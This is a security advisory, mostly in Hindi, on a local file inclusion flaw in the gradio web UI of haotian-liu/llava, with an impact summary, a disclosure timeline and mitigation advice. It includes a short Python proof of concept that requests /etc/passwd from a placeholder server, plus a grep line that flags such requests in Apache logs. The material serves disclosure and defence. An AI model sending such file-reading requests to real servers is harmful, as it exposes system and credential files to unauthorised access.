लोकल फ़ाइल इन्क्लूज़न (Local File Inclusion) haotian-liu/llava में

यह भेद्यता हमलावरों को llava सर्वर पर संग्रहीत किसी भी फ़ाइल को पढ़ने की अनुमति देती है। इसमें कॉन्फ़िगरेशन फ़ाइलें, स्रोत कोड, या अन्य संवेदनशील डेटा शामिल हो सकते हैं। एक हमलावर इस भेद्यता का उपयोग सिस्टम पर अनधिकृत कोड निष्पादित करने, डेटा को संशोधित करने या सिस्टम को पूरी तरह से नियंत्रित करने के लिए भी कर सकता है। चूंकि यह भेद्यता gradio वेब UI घटक में इनपुट सत्यापन की कमी के कारण है, इसलिए हमलावर आसानी से दुर्भावनापूर्ण फ़ाइल पथों को इंजेक्ट कर सकते हैं। इस भेद्यता का प्रभाव व्यापक हो सकता है, खासकर यदि llava का उपयोग संवेदनशील डेटा को संसाधित करने या महत्वपूर्ण कार्यों को करने के लिए किया जा रहा है।

Users deploying LLaVA for research or experimentation, particularly those using the gradio web UI for interactive demonstrations, are at risk. Shared hosting environments where LLaVA is deployed alongside other applications are also vulnerable, as a successful exploit could potentially compromise the entire host.

• python / server:

import os
import requests

# Target URL
url = "http://your-llava-server/gradio_app"

# Attempt to read a sensitive file
file_to_read = "/etc/passwd"

# Craft the request
params = {'file': file_to_read}

# Send the request
response = requests.get(url, params=params)

# Check the response
if response.status_code == 200:
    print(f"File content: {response.text}")
else:
    print(f"Request failed with status code: {response.status_code}")

• linux / server:

# Monitor access logs for suspicious file requests
grep -i "/etc/passwd" /var/log/apache2/access.log

1. 2025-03-20Disclosure

   disclosure

1. आरक्षित2024-12-02
2. प्रकाशित2025-03-20
3. संशोधित2025-10-15
4. EPSS अद्यतन2026-04-02

सुरक्षा पैच जारी होने तक, इस भेद्यता को कम करने के लिए कई उपाय किए जा सकते हैं। सबसे पहले, सभी इनपुट को सख्त रूप से मान्य करें ताकि यह सुनिश्चित हो सके कि वे अपेक्षित प्रारूप में हैं और उनमें कोई दुर्भावनापूर्ण वर्ण नहीं हैं। दूसरा, फ़ाइल एक्सेस को न्यूनतम विशेषाधिकारों के साथ प्रतिबंधित करें। तीसरा, वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करें जो फ़ाइल समावेशन हमलों को ब्लॉक कर सके। अंत में, llava के नवीनतम संस्करण के लिए नियमित रूप से अपडेट की जाँच करें, जिसमें इस भेद्यता के लिए एक सुरक्षा पैच शामिल होगा। पैच लागू करने के बाद, यह सत्यापित करें कि भेद्यता ठीक हो गई है, यह सुनिश्चित करने के लिए कि कोई भी हमलावर फ़ाइलों को एक्सेस नहीं कर सकता है।